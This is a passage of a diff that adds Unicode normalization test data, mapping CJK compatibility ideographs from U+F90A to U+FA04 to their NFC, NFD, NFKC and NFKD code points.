+{ source: [0xF90A], NFC: [0x91D1], NFD: [0x91D1], NFKC: [0x91D1], NFKD: [0x91D1] },
+{ source: [0xF90B], NFC: [0x5587], NFD: [0x5587], NFKC: [0x5587], NFKD: [0x5587] },
+{ source: [0xF90C], NFC: [0x5948], NFD: [0x5948], NFKC: [0x5948], NFKD: [0x5948] },
+{ source: [0xF90D], NFC: [0x61F6], NFD: [0x61F6], NFKC: [0x61F6], NFKD: [0x61F6] },
+{ source: [0xF90E], NFC: [0x7669], NFD: [0x7669], NFKC: [0x7669], NFKD: [0x7669] },
+{ source: [0xF90F], NFC: [0x7F85], NFD: [0x7F85], NFKC: [0x7F85], NFKD: [0x7F85] },
+{ source: [0xF910], NFC: [0x863F], NFD: [0x863F], NFKC: [0x863F], NFKD: [0x863F] },
+{ source: [0xF911], NFC: [0x87BA], NFD: [0x87BA], NFKC: [0x87BA], NFKD: [0x87BA] },
+{ source: [0xF912], NFC: [0x88F8], NFD: [0x88F8], NFKC: [0x88F8], NFKD: [0x88F8] },
+{ source: [0xF913], NFC: [0x908F], NFD: [0x908F], NFKC: [0x908F], NFKD: [0x908F] },
+{ source: [0xF914], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF915], NFC: [0x6D1B], NFD: [0x6D1B], NFKC: [0x6D1B], NFKD: [0x6D1B] },
+{ source: [0xF916], NFC: [0x70D9], NFD: [0x70D9], NFKC: [0x70D9], NFKD: [0x70D9] },
+{ source: [0xF917], NFC: [0x73DE], NFD: [0x73DE], NFKC: [0x73DE], NFKD: [0x73DE] },
+{ source: [0xF918], NFC: [0x843D], NFD: [0x843D], NFKC: [0x843D], NFKD: [0x843D] },
+{ source: [0xF919], NFC: [0x916A], NFD: [0x916A], NFKC: [0x916A], NFKD: [0x916A] },
+{ source: [0xF91A], NFC: [0x99F1], NFD: [0x99F1], NFKC: [0x99F1], NFKD: [0x99F1] },
+{ source: [0xF91B], NFC: [0x4E82], NFD: [0x4E82], NFKC: [0x4E82], NFKD: [0x4E82] },
+{ source: [0xF91C], NFC: [0x5375], NFD: [0x5375], NFKC: [0x5375], NFKD: [0x5375] },
+{ source: [0xF91D], NFC: [0x6B04], NFD: [0x6B04], NFKC: [0x6B04], NFKD: [0x6B04] },
+{ source: [0xF91E], NFC: [0x721B], NFD: [0x721B], NFKC: [0x721B], NFKD: [0x721B] },
+{ source: [0xF91F], NFC: [0x862D], NFD: [0x862D], NFKC: [0x862D], NFKD: [0x862D] },
+{ source: [0xF920], NFC: [0x9E1E], NFD: [0x9E1E], NFKC: [0x9E1E], NFKD: [0x9E1E] },
+{ source: [0xF921], NFC: [0x5D50], NFD: [0x5D50], NFKC: [0x5D50], NFKD: [0x5D50] },
+{ source: [0xF922], NFC: [0x6FEB], NFD: [0x6FEB], NFKC: [0x6FEB], NFKD: [0x6FEB] },
+{ source: [0xF923], NFC: [0x85CD], NFD: [0x85CD], NFKC: [0x85CD], NFKD: [0x85CD] },
+{ source: [0xF924], NFC: [0x8964], NFD: [0x8964], NFKC: [0x8964], NFKD: [0x8964] },
+{ source: [0xF925], NFC: [0x62C9], NFD: [0x62C9], NFKC: [0x62C9], NFKD: [0x62C9] },
+{ source: [0xF926], NFC: [0x81D8], NFD: [0x81D8], NFKC: [0x81D8], NFKD: [0x81D8] },
+{ source: [0xF927], NFC: [0x881F], NFD: [0x881F], NFKC: [0x881F], NFKD: [0x881F] },
+{ source: [0xF928], NFC: [0x5ECA], NFD: [0x5ECA], NFKC: [0x5ECA], NFKD: [0x5ECA] },
+{ source: [0xF929], NFC: [0x6717], NFD: [0x6717], NFKC: [0x6717], NFKD: [0x6717] },
+{ source: [0xF92A], NFC: [0x6D6A], NFD: [0x6D6A], NFKC: [0x6D6A], NFKD: [0x6D6A] },
+{ source: [0xF92B], NFC: [0x72FC], NFD: [0x72FC], NFKC: [0x72FC], NFKD: [0x72FC] },
+{ source: [0xF92C], NFC: [0x90CE], NFD: [0x90CE], NFKC: [0x90CE], NFKD: [0x90CE] },
+{ source: [0xF92D], NFC: [0x4F86], NFD: [0x4F86], NFKC: [0x4F86], NFKD: [0x4F86] },
+{ source: [0xF92E], NFC: [0x51B7], NFD: [0x51B7], NFKC: [0x51B7], NFKD: [0x51B7] },
+{ source: [0xF92F], NFC: [0x52DE], NFD: [0x52DE], NFKC: [0x52DE], NFKD: [0x52DE] },
+{ source: [0xF930], NFC: [0x64C4], NFD: [0x64C4], NFKC: [0x64C4], NFKD: [0x64C4] },
+{ source: [0xF931], NFC: [0x6AD3], NFD: [0x6AD3], NFKC: [0x6AD3], NFKD: [0x6AD3] },
+{ source: [0xF932], NFC: [0x7210], NFD: [0x7210], NFKC: [0x7210], NFKD: [0x7210] },
+{ source: [0xF933], NFC: [0x76E7], NFD: [0x76E7], NFKC: [0x76E7], NFKD: [0x76E7] },
+{ source: [0xF934], NFC: [0x8001], NFD: [0x8001], NFKC: [0x8001], NFKD: [0x8001] },
+{ source: [0xF935], NFC: [0x8606], NFD: [0x8606], NFKC: [0x8606], NFKD: [0x8606] },
+{ source: [0xF936], NFC: [0x865C], NFD: [0x865C], NFKC: [0x865C], NFKD: [0x865C] },
+{ source: [0xF937], NFC: [0x8DEF], NFD: [0x8DEF], NFKC: [0x8DEF], NFKD: [0x8DEF] },
+{ source: [0xF938], NFC: [0x9732], NFD: [0x9732], NFKC: [0x9732], NFKD: [0x9732] },
+{ source: [0xF939], NFC: [0x9B6F], NFD: [0x9B6F], NFKC: [0x9B6F], NFKD: [0x9B6F] },
+{ source: [0xF93A], NFC: [0x9DFA], NFD: [0x9DFA], NFKC: [0x9DFA], NFKD: [0x9DFA] },
+{ source: [0xF93B], NFC: [0x788C], NFD: [0x788C], NFKC: [0x788C], NFKD: [0x788C] },
+{ source: [0xF93C], NFC: [0x797F], NFD: [0x797F], NFKC: [0x797F], NFKD: [0x797F] },
+{ source: [0xF93D], NFC: [0x7DA0], NFD: [0x7DA0], NFKC: [0x7DA0], NFKD: [0x7DA0] },
+{ source: [0xF93E], NFC: [0x83C9], NFD: [0x83C9], NFKC: [0x83C9], NFKD: [0x83C9] },
+{ source: [0xF93F], NFC: [0x9304], NFD: [0x9304], NFKC: [0x9304], NFKD: [0x9304] },
+{ source: [0xF940], NFC: [0x9E7F], NFD: [0x9E7F], NFKC: [0x9E7F], NFKD: [0x9E7F] },
+{ source: [0xF941], NFC: [0x8AD6], NFD: [0x8AD6], NFKC: [0x8AD6], NFKD: [0x8AD6] },
+{ source: [0xF942], NFC: [0x58DF], NFD: [0x58DF], NFKC: [0x58DF], NFKD: [0x58DF] },
+{ source: [0xF943], NFC: [0x5F04], NFD: [0x5F04], NFKC: [0x5F04], NFKD: [0x5F04] },
+{ source: [0xF944], NFC: [0x7C60], NFD: [0x7C60], NFKC: [0x7C60], NFKD: [0x7C60] },
+{ source: [0xF945], NFC: [0x807E], NFD: [0x807E], NFKC: [0x807E], NFKD: [0x807E] },
+{ source: [0xF946], NFC: [0x7262], NFD: [0x7262], NFKC: [0x7262], NFKD: [0x7262] },
+{ source: [0xF947], NFC: [0x78CA], NFD: [0x78CA], NFKC: [0x78CA], NFKD: [0x78CA] },
+{ source: [0xF948], NFC: [0x8CC2], NFD: [0x8CC2], NFKC: [0x8CC2], NFKD: [0x8CC2] },
+{ source: [0xF949], NFC: [0x96F7], NFD: [0x96F7], NFKC: [0x96F7], NFKD: [0x96F7] },
+{ source: [0xF94A], NFC: [0x58D8], NFD: [0x58D8], NFKC: [0x58D8], NFKD: [0x58D8] },
+{ source: [0xF94B], NFC: [0x5C62], NFD: [0x5C62], NFKC: [0x5C62], NFKD: [0x5C62] },
+{ source: [0xF94C], NFC: [0x6A13], NFD: [0x6A13], NFKC: [0x6A13], NFKD: [0x6A13] },
+{ source: [0xF94D], NFC: [0x6DDA], NFD: [0x6DDA], NFKC: [0x6DDA], NFKD: [0x6DDA] },
+{ source: [0xF94E], NFC: [0x6F0F], NFD: [0x6F0F], NFKC: [0x6F0F], NFKD: [0x6F0F] },
+{ source: [0xF94F], NFC: [0x7D2F], NFD: [0x7D2F], NFKC: [0x7D2F], NFKD: [0x7D2F] },
+{ source: [0xF950], NFC: [0x7E37], NFD: [0x7E37], NFKC: [0x7E37], NFKD: [0x7E37] },
+{ source: [0xF951], NFC: [0x964B], NFD: [0x964B], NFKC: [0x964B], NFKD: [0x964B] },
+{ source: [0xF952], NFC: [0x52D2], NFD: [0x52D2], NFKC: [0x52D2], NFKD: [0x52D2] },
+{ source: [0xF953], NFC: [0x808B], NFD: [0x808B], NFKC: [0x808B], NFKD: [0x808B] },
+{ source: [0xF954], NFC: [0x51DC], NFD: [0x51DC], NFKC: [0x51DC], NFKD: [0x51DC] },
+{ source: [0xF955], NFC: [0x51CC], NFD: [0x51CC], NFKC: [0x51CC], NFKD: [0x51CC] },
+{ source: [0xF956], NFC: [0x7A1C], NFD: [0x7A1C], NFKC: [0x7A1C], NFKD: [0x7A1C] },
+{ source: [0xF957], NFC: [0x7DBE], NFD: [0x7DBE], NFKC: [0x7DBE], NFKD: [0x7DBE] },
+{ source: [0xF958], NFC: [0x83F1], NFD: [0x83F1], NFKC: [0x83F1], NFKD: [0x83F1] },
+{ source: [0xF959], NFC: [0x9675], NFD: [0x9675], NFKC: [0x9675], NFKD: [0x9675] },
+{ source: [0xF95A], NFC: [0x8B80], NFD: [0x8B80], NFKC: [0x8B80], NFKD: [0x8B80] },
+{ source: [0xF95B], NFC: [0x62CF], NFD: [0x62CF], NFKC: [0x62CF], NFKD: [0x62CF] },
+{ source: [0xF95C], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF95D], NFC: [0x8AFE], NFD: [0x8AFE], NFKC: [0x8AFE], NFKD: [0x8AFE] },
+{ source: [0xF95E], NFC: [0x4E39], NFD: [0x4E39], NFKC: [0x4E39], NFKD: [0x4E39] },
+{ source: [0xF95F], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0xF960], NFC: [0x6012], NFD: [0x6012], NFKC: [0x6012], NFKD: [0x6012] },
+{ source: [0xF961], NFC: [0x7387], NFD: [0x7387], NFKC: [0x7387], NFKD: [0x7387] },
+{ source: [0xF962], NFC: [0x7570], NFD: [0x7570], NFKC: [0x7570], NFKD: [0x7570] },
+{ source: [0xF963], NFC: [0x5317], NFD: [0x5317], NFKC: [0x5317], NFKD: [0x5317] },
+{ source: [0xF964], NFC: [0x78FB], NFD: [0x78FB], NFKC: [0x78FB], NFKD: [0x78FB] },
+{ source: [0xF965], NFC: [0x4FBF], NFD: [0x4FBF], NFKC: [0x4FBF], NFKD: [0x4FBF] },
+{ source: [0xF966], NFC: [0x5FA9], NFD: [0x5FA9], NFKC: [0x5FA9], NFKD: [0x5FA9] },
+{ source: [0xF967], NFC: [0x4E0D], NFD: [0x4E0D], NFKC: [0x4E0D], NFKD: [0x4E0D] },
+{ source: [0xF968], NFC: [0x6CCC], NFD: [0x6CCC], NFKC: [0x6CCC], NFKD: [0x6CCC] },
+{ source: [0xF969], NFC: [0x6578], NFD: [0x6578], NFKC: [0x6578], NFKD: [0x6578] },
+{ source: [0xF96A], NFC: [0x7D22], NFD: [0x7D22], NFKC: [0x7D22], NFKD: [0x7D22] },
+{ source: [0xF96B], NFC: [0x53C3], NFD: [0x53C3], NFKC: [0x53C3], NFKD: [0x53C3] },
+{ source: [0xF96C], NFC: [0x585E], NFD: [0x585E], NFKC: [0x585E], NFKD: [0x585E] },
+{ source: [0xF96D], NFC: [0x7701], NFD: [0x7701], NFKC: [0x7701], NFKD: [0x7701] },
+{ source: [0xF96E], NFC: [0x8449], NFD: [0x8449], NFKC: [0x8449], NFKD: [0x8449] },
+{ source: [0xF96F], NFC: [0x8AAA], NFD: [0x8AAA], NFKC: [0x8AAA], NFKD: [0x8AAA] },
+{ source: [0xF970], NFC: [0x6BBA], NFD: [0x6BBA], NFKC: [0x6BBA], NFKD: [0x6BBA] },
+{ source: [0xF971], NFC: [0x8FB0], NFD: [0x8FB0], NFKC: [0x8FB0], NFKD: [0x8FB0] },
+{ source: [0xF972], NFC: [0x6C88], NFD: [0x6C88], NFKC: [0x6C88], NFKD: [0x6C88] },
+{ source: [0xF973], NFC: [0x62FE], NFD: [0x62FE], NFKC: [0x62FE], NFKD: [0x62FE] },
+{ source: [0xF974], NFC: [0x82E5], NFD: [0x82E5], NFKC: [0x82E5], NFKD: [0x82E5] },
+{ source: [0xF975], NFC: [0x63A0], NFD: [0x63A0], NFKC: [0x63A0], NFKD: [0x63A0] },
+{ source: [0xF976], NFC: [0x7565], NFD: [0x7565], NFKC: [0x7565], NFKD: [0x7565] },
+{ source: [0xF977], NFC: [0x4EAE], NFD: [0x4EAE], NFKC: [0x4EAE], NFKD: [0x4EAE] },
+{ source: [0xF978], NFC: [0x5169], NFD: [0x5169], NFKC: [0x5169], NFKD: [0x5169] },
+{ source: [0xF979], NFC: [0x51C9], NFD: [0x51C9], NFKC: [0x51C9], NFKD: [0x51C9] },
+{ source: [0xF97A], NFC: [0x6881], NFD: [0x6881], NFKC: [0x6881], NFKD: [0x6881] },
+{ source: [0xF97B], NFC: [0x7CE7], NFD: [0x7CE7], NFKC: [0x7CE7], NFKD: [0x7CE7] },
+{ source: [0xF97C], NFC: [0x826F], NFD: [0x826F], NFKC: [0x826F], NFKD: [0x826F] },
+{ source: [0xF97D], NFC: [0x8AD2], NFD: [0x8AD2], NFKC: [0x8AD2], NFKD: [0x8AD2] },
+{ source: [0xF97E], NFC: [0x91CF], NFD: [0x91CF], NFKC: [0x91CF], NFKD: [0x91CF] },
+{ source: [0xF97F], NFC: [0x52F5], NFD: [0x52F5], NFKC: [0x52F5], NFKD: [0x52F5] },
+{ source: [0xF980], NFC: [0x5442], NFD: [0x5442], NFKC: [0x5442], NFKD: [0x5442] },
+{ source: [0xF981], NFC: [0x5973], NFD: [0x5973], NFKC: [0x5973], NFKD: [0x5973] },
+{ source: [0xF982], NFC: [0x5EEC], NFD: [0x5EEC], NFKC: [0x5EEC], NFKD: [0x5EEC] },
+{ source: [0xF983], NFC: [0x65C5], NFD: [0x65C5], NFKC: [0x65C5], NFKD: [0x65C5] },
+{ source: [0xF984], NFC: [0x6FFE], NFD: [0x6FFE], NFKC: [0x6FFE], NFKD: [0x6FFE] },
+{ source: [0xF985], NFC: [0x792A], NFD: [0x792A], NFKC: [0x792A], NFKD: [0x792A] },
+{ source: [0xF986], NFC: [0x95AD], NFD: [0x95AD], NFKC: [0x95AD], NFKD: [0x95AD] },
+{ source: [0xF987], NFC: [0x9A6A], NFD: [0x9A6A], NFKC: [0x9A6A], NFKD: [0x9A6A] },
+{ source: [0xF988], NFC: [0x9E97], NFD: [0x9E97], NFKC: [0x9E97], NFKD: [0x9E97] },
+{ source: [0xF989], NFC: [0x9ECE], NFD: [0x9ECE], NFKC: [0x9ECE], NFKD: [0x9ECE] },
+{ source: [0xF98A], NFC: [0x529B], NFD: [0x529B], NFKC: [0x529B], NFKD: [0x529B] },
+{ source: [0xF98B], NFC: [0x66C6], NFD: [0x66C6], NFKC: [0x66C6], NFKD: [0x66C6] },
+{ source: [0xF98C], NFC: [0x6B77], NFD: [0x6B77], NFKC: [0x6B77], NFKD: [0x6B77] },
+{ source: [0xF98D], NFC: [0x8F62], NFD: [0x8F62], NFKC: [0x8F62], NFKD: [0x8F62] },
+{ source: [0xF98E], NFC: [0x5E74], NFD: [0x5E74], NFKC: [0x5E74], NFKD: [0x5E74] },
+{ source: [0xF98F], NFC: [0x6190], NFD: [0x6190], NFKC: [0x6190], NFKD: [0x6190] },
+{ source: [0xF990], NFC: [0x6200], NFD: [0x6200], NFKC: [0x6200], NFKD: [0x6200] },
+{ source: [0xF991], NFC: [0x649A], NFD: [0x649A], NFKC: [0x649A], NFKD: [0x649A] },
+{ source: [0xF992], NFC: [0x6F23], NFD: [0x6F23], NFKC: [0x6F23], NFKD: [0x6F23] },
+{ source: [0xF993], NFC: [0x7149], NFD: [0x7149], NFKC: [0x7149], NFKD: [0x7149] },
+{ source: [0xF994], NFC: [0x7489], NFD: [0x7489], NFKC: [0x7489], NFKD: [0x7489] },
+{ source: [0xF995], NFC: [0x79CA], NFD: [0x79CA], NFKC: [0x79CA], NFKD: [0x79CA] },
+{ source: [0xF996], NFC: [0x7DF4], NFD: [0x7DF4], NFKC: [0x7DF4], NFKD: [0x7DF4] },
+{ source: [0xF997], NFC: [0x806F], NFD: [0x806F], NFKC: [0x806F], NFKD: [0x806F] },
+{ source: [0xF998], NFC: [0x8F26], NFD: [0x8F26], NFKC: [0x8F26], NFKD: [0x8F26] },
+{ source: [0xF999], NFC: [0x84EE], NFD: [0x84EE], NFKC: [0x84EE], NFKD: [0x84EE] },
+{ source: [0xF99A], NFC: [0x9023], NFD: [0x9023], NFKC: [0x9023], NFKD: [0x9023] },
+{ source: [0xF99B], NFC: [0x934A], NFD: [0x934A], NFKC: [0x934A], NFKD: [0x934A] },
+{ source: [0xF99C], NFC: [0x5217], NFD: [0x5217], NFKC: [0x5217], NFKD: [0x5217] },
+{ source: [0xF99D], NFC: [0x52A3], NFD: [0x52A3], NFKC: [0x52A3], NFKD: [0x52A3] },
+{ source: [0xF99E], NFC: [0x54BD], NFD: [0x54BD], NFKC: [0x54BD], NFKD: [0x54BD] },
+{ source: [0xF99F], NFC: [0x70C8], NFD: [0x70C8], NFKC: [0x70C8], NFKD: [0x70C8] },
+{ source: [0xF9A0], NFC: [0x88C2], NFD: [0x88C2], NFKC: [0x88C2], NFKD: [0x88C2] },
+{ source: [0xF9A1], NFC: [0x8AAA], NFD: [0x8AAA], NFKC: [0x8AAA], NFKD: [0x8AAA] },
+{ source: [0xF9A2], NFC: [0x5EC9], NFD: [0x5EC9], NFKC: [0x5EC9], NFKD: [0x5EC9] },
+{ source: [0xF9A3], NFC: [0x5FF5], NFD: [0x5FF5], NFKC: [0x5FF5], NFKD: [0x5FF5] },
+{ source: [0xF9A4], NFC: [0x637B], NFD: [0x637B], NFKC: [0x637B], NFKD: [0x637B] },
+{ source: [0xF9A5], NFC: [0x6BAE], NFD: [0x6BAE], NFKC: [0x6BAE], NFKD: [0x6BAE] },
+{ source: [0xF9A6], NFC: [0x7C3E], NFD: [0x7C3E], NFKC: [0x7C3E], NFKD: [0x7C3E] },
+{ source: [0xF9A7], NFC: [0x7375], NFD: [0x7375], NFKC: [0x7375], NFKD: [0x7375] },
+{ source: [0xF9A8], NFC: [0x4EE4], NFD: [0x4EE4], NFKC: [0x4EE4], NFKD: [0x4EE4] },
+{ source: [0xF9A9], NFC: [0x56F9], NFD: [0x56F9], NFKC: [0x56F9], NFKD: [0x56F9] },
+{ source: [0xF9AA], NFC: [0x5BE7], NFD: [0x5BE7], NFKC: [0x5BE7], NFKD: [0x5BE7] },
+{ source: [0xF9AB], NFC: [0x5DBA], NFD: [0x5DBA], NFKC: [0x5DBA], NFKD: [0x5DBA] },
+{ source: [0xF9AC], NFC: [0x601C], NFD: [0x601C], NFKC: [0x601C], NFKD: [0x601C] },
+{ source: [0xF9AD], NFC: [0x73B2], NFD: [0x73B2], NFKC: [0x73B2], NFKD: [0x73B2] },
+{ source: [0xF9AE], NFC: [0x7469], NFD: [0x7469], NFKC: [0x7469], NFKD: [0x7469] },
+{ source: [0xF9AF], NFC: [0x7F9A], NFD: [0x7F9A], NFKC: [0x7F9A], NFKD: [0x7F9A] },
+{ source: [0xF9B0], NFC: [0x8046], NFD: [0x8046], NFKC: [0x8046], NFKD: [0x8046] },
+{ source: [0xF9B1], NFC: [0x9234], NFD: [0x9234], NFKC: [0x9234], NFKD: [0x9234] },
+{ source: [0xF9B2], NFC: [0x96F6], NFD: [0x96F6], NFKC: [0x96F6], NFKD: [0x96F6] },
+{ source: [0xF9B3], NFC: [0x9748], NFD: [0x9748], NFKC: [0x9748], NFKD: [0x9748] },
+{ source: [0xF9B4], NFC: [0x9818], NFD: [0x9818], NFKC: [0x9818], NFKD: [0x9818] },
+{ source: [0xF9B5], NFC: [0x4F8B], NFD: [0x4F8B], NFKC: [0x4F8B], NFKD: [0x4F8B] },
+{ source: [0xF9B6], NFC: [0x79AE], NFD: [0x79AE], NFKC: [0x79AE], NFKD: [0x79AE] },
+{ source: [0xF9B7], NFC: [0x91B4], NFD: [0x91B4], NFKC: [0x91B4], NFKD: [0x91B4] },
+{ source: [0xF9B8], NFC: [0x96B8], NFD: [0x96B8], NFKC: [0x96B8], NFKD: [0x96B8] },
+{ source: [0xF9B9], NFC: [0x60E1], NFD: [0x60E1], NFKC: [0x60E1], NFKD: [0x60E1] },
+{ source: [0xF9BA], NFC: [0x4E86], NFD: [0x4E86], NFKC: [0x4E86], NFKD: [0x4E86] },
+{ source: [0xF9BB], NFC: [0x50DA], NFD: [0x50DA], NFKC: [0x50DA], NFKD: [0x50DA] },
+{ source: [0xF9BC], NFC: [0x5BEE], NFD: [0x5BEE], NFKC: [0x5BEE], NFKD: [0x5BEE] },
+{ source: [0xF9BD], NFC: [0x5C3F], NFD: [0x5C3F], NFKC: [0x5C3F], NFKD: [0x5C3F] },
+{ source: [0xF9BE], NFC: [0x6599], NFD: [0x6599], NFKC: [0x6599], NFKD: [0x6599] },
+{ source: [0xF9BF], NFC: [0x6A02], NFD: [0x6A02], NFKC: [0x6A02], NFKD: [0x6A02] },
+{ source: [0xF9C0], NFC: [0x71CE], NFD: [0x71CE], NFKC: [0x71CE], NFKD: [0x71CE] },
+{ source: [0xF9C1], NFC: [0x7642], NFD: [0x7642], NFKC: [0x7642], NFKD: [0x7642] },
+{ source: [0xF9C2], NFC: [0x84FC], NFD: [0x84FC], NFKC: [0x84FC], NFKD: [0x84FC] },
+{ source: [0xF9C3], NFC: [0x907C], NFD: [0x907C], NFKC: [0x907C], NFKD: [0x907C] },
+{ source: [0xF9C4], NFC: [0x9F8D], NFD: [0x9F8D], NFKC: [0x9F8D], NFKD: [0x9F8D] },
+{ source: [0xF9C5], NFC: [0x6688], NFD: [0x6688], NFKC: [0x6688], NFKD: [0x6688] },
+{ source: [0xF9C6], NFC: [0x962E], NFD: [0x962E], NFKC: [0x962E], NFKD: [0x962E] },
+{ source: [0xF9C7], NFC: [0x5289], NFD: [0x5289], NFKC: [0x5289], NFKD: [0x5289] },
+{ source: [0xF9C8], NFC: [0x677B], NFD: [0x677B], NFKC: [0x677B], NFKD: [0x677B] },
+{ source: [0xF9C9], NFC: [0x67F3], NFD: [0x67F3], NFKC: [0x67F3], NFKD: [0x67F3] },
+{ source: [0xF9CA], NFC: [0x6D41], NFD: [0x6D41], NFKC: [0x6D41], NFKD: [0x6D41] },
+{ source: [0xF9CB], NFC: [0x6E9C], NFD: [0x6E9C], NFKC: [0x6E9C], NFKD: [0x6E9C] },
+{ source: [0xF9CC], NFC: [0x7409], NFD: [0x7409], NFKC: [0x7409], NFKD: [0x7409] },
+{ source: [0xF9CD], NFC: [0x7559], NFD: [0x7559], NFKC: [0x7559], NFKD: [0x7559] },
+{ source: [0xF9CE], NFC: [0x786B], NFD: [0x786B], NFKC: [0x786B], NFKD: [0x786B] },
+{ source: [0xF9CF], NFC: [0x7D10], NFD: [0x7D10], NFKC: [0x7D10], NFKD: [0x7D10] },
+{ source: [0xF9D0], NFC: [0x985E], NFD: [0x985E], NFKC: [0x985E], NFKD: [0x985E] },
+{ source: [0xF9D1], NFC: [0x516D], NFD: [0x516D], NFKC: [0x516D], NFKD: [0x516D] },
+{ source: [0xF9D2], NFC: [0x622E], NFD: [0x622E], NFKC: [0x622E], NFKD: [0x622E] },
+{ source: [0xF9D3], NFC: [0x9678], NFD: [0x9678], NFKC: [0x9678], NFKD: [0x9678] },
+{ source: [0xF9D4], NFC: [0x502B], NFD: [0x502B], NFKC: [0x502B], NFKD: [0x502B] },
+{ source: [0xF9D5], NFC: [0x5D19], NFD: [0x5D19], NFKC: [0x5D19], NFKD: [0x5D19] },
+{ source: [0xF9D6], NFC: [0x6DEA], NFD: [0x6DEA], NFKC: [0x6DEA], NFKD: [0x6DEA] },
+{ source: [0xF9D7], NFC: [0x8F2A], NFD: [0x8F2A], NFKC: [0x8F2A], NFKD: [0x8F2A] },
+{ source: [0xF9D8], NFC: [0x5F8B], NFD: [0x5F8B], NFKC: [0x5F8B], NFKD: [0x5F8B] },
+{ source: [0xF9D9], NFC: [0x6144], NFD: [0x6144], NFKC: [0x6144], NFKD: [0x6144] },
+{ source: [0xF9DA], NFC: [0x6817], NFD: [0x6817], NFKC: [0x6817], NFKD: [0x6817] },
+{ source: [0xF9DB], NFC: [0x7387], NFD: [0x7387], NFKC: [0x7387], NFKD: [0x7387] },
+{ source: [0xF9DC], NFC: [0x9686], NFD: [0x9686], NFKC: [0x9686], NFKD: [0x9686] },
+{ source: [0xF9DD], NFC: [0x5229], NFD: [0x5229], NFKC: [0x5229], NFKD: [0x5229] },
+{ source: [0xF9DE], NFC: [0x540F], NFD: [0x540F], NFKC: [0x540F], NFKD: [0x540F] },
+{ source: [0xF9DF], NFC: [0x5C65], NFD: [0x5C65], NFKC: [0x5C65], NFKD: [0x5C65] },
+{ source: [0xF9E0], NFC: [0x6613], NFD: [0x6613], NFKC: [0x6613], NFKD: [0x6613] },
+{ source: [0xF9E1], NFC: [0x674E], NFD: [0x674E], NFKC: [0x674E], NFKD: [0x674E] },
+{ source: [0xF9E2], NFC: [0x68A8], NFD: [0x68A8], NFKC: [0x68A8], NFKD: [0x68A8] },
+{ source: [0xF9E3], NFC: [0x6CE5], NFD: [0x6CE5], NFKC: [0x6CE5], NFKD: [0x6CE5] },
+{ source: [0xF9E4], NFC: [0x7406], NFD: [0x7406], NFKC: [0x7406], NFKD: [0x7406] },
+{ source: [0xF9E5], NFC: [0x75E2], NFD: [0x75E2], NFKC: [0x75E2], NFKD: [0x75E2] },
+{ source: [0xF9E6], NFC: [0x7F79], NFD: [0x7F79], NFKC: [0x7F79], NFKD: [0x7F79] },
+{ source: [0xF9E7], NFC: [0x88CF], NFD: [0x88CF], NFKC: [0x88CF], NFKD: [0x88CF] },
+{ source: [0xF9E8], NFC: [0x88E1], NFD: [0x88E1], NFKC: [0x88E1], NFKD: [0x88E1] },
+{ source: [0xF9E9], NFC: [0x91CC], NFD: [0x91CC], NFKC: [0x91CC], NFKD: [0x91CC] },
+{ source: [0xF9EA], NFC: [0x96E2], NFD: [0x96E2], NFKC: [0x96E2], NFKD: [0x96E2] },
+{ source: [0xF9EB], NFC: [0x533F], NFD: [0x533F], NFKC: [0x533F], NFKD: [0x533F] },
+{ source: [0xF9EC], NFC: [0x6EBA], NFD: [0x6EBA], NFKC: [0x6EBA], NFKD: [0x6EBA] },
+{ source: [0xF9ED], NFC: [0x541D], NFD: [0x541D], NFKC: [0x541D], NFKD: [0x541D] },
+{ source: [0xF9EE], NFC: [0x71D0], NFD: [0x71D0], NFKC: [0x71D0], NFKD: [0x71D0] },
+{ source: [0xF9EF], NFC: [0x7498], NFD: [0x7498], NFKC: [0x7498], NFKD: [0x7498] },
+{ source: [0xF9F0], NFC: [0x85FA], NFD: [0x85FA], NFKC: [0x85FA], NFKD: [0x85FA] },
+{ source: [0xF9F1], NFC: [0x96A3], NFD: [0x96A3], NFKC: [0x96A3], NFKD: [0x96A3] },
+{ source: [0xF9F2], NFC: [0x9C57], NFD: [0x9C57], NFKC: [0x9C57], NFKD: [0x9C57] },
+{ source: [0xF9F3], NFC: [0x9E9F], NFD: [0x9E9F], NFKC: [0x9E9F], NFKD: [0x9E9F] },
+{ source: [0xF9F4], NFC: [0x6797], NFD: [0x6797], NFKC: [0x6797], NFKD: [0x6797] },
+{ source: [0xF9F5], NFC: [0x6DCB], NFD: [0x6DCB], NFKC: [0x6DCB], NFKD: [0x6DCB] },
+{ source: [0xF9F6], NFC: [0x81E8], NFD: [0x81E8], NFKC: [0x81E8], NFKD: [0x81E8] },
+{ source: [0xF9F7], NFC: [0x7ACB], NFD: [0x7ACB], NFKC: [0x7ACB], NFKD: [0x7ACB] },
+{ source: [0xF9F8], NFC: [0x7B20], NFD: [0x7B20], NFKC: [0x7B20], NFKD: [0x7B20] },
+{ source: [0xF9F9], NFC: [0x7C92], NFD: [0x7C92], NFKC: [0x7C92], NFKD: [0x7C92] },
+{ source: [0xF9FA], NFC: [0x72C0], NFD: [0x72C0], NFKC: [0x72C0], NFKD: [0x72C0] },
+{ source: [0xF9FB], NFC: [0x7099], NFD: [0x7099], NFKC: [0x7099], NFKD: [0x7099] },
+{ source: [0xF9FC], NFC: [0x8B58], NFD: [0x8B58], NFKC: [0x8B58], NFKD: [0x8B58] },
+{ source: [0xF9FD], NFC: [0x4EC0], NFD: [0x4EC0], NFKC: [0x4EC0], NFKD: [0x4EC0] },
+{ source: [0xF9FE], NFC: [0x8336], NFD: [0x8336], NFKC: [0x8336], NFKD: [0x8336] },
+{ source: [0xF9FF], NFC: [0x523A], NFD: [0x523A], NFKC: [0x523A], NFKD: [0x523A] },
+{ source: [0xFA00], NFC: [0x5207], NFD: [0x5207], NFKC: [0x5207], NFKD: [0x5207] },
+{ source: [0xFA01], NFC: [0x5EA6], NFD: [0x5EA6], NFKC: [0x5EA6], NFKD: [0x5EA6] },
+{ source: [0xFA02], NFC: [0x62D3], NFD: [0x62D3], NFKC: [0x62D3], NFKD: [0x62D3] },
+{ source: [0xFA03], NFC: [0x7CD6], NFD: [0x7CD6], NFKC: [0x7CD6], NFKD: [0x7CD6] },
+{ source: [0xFA04], NFC: [0x5B85], NFD: [0x5B85], NFKC: [0x5B85], NFKD: [0x5B85] },
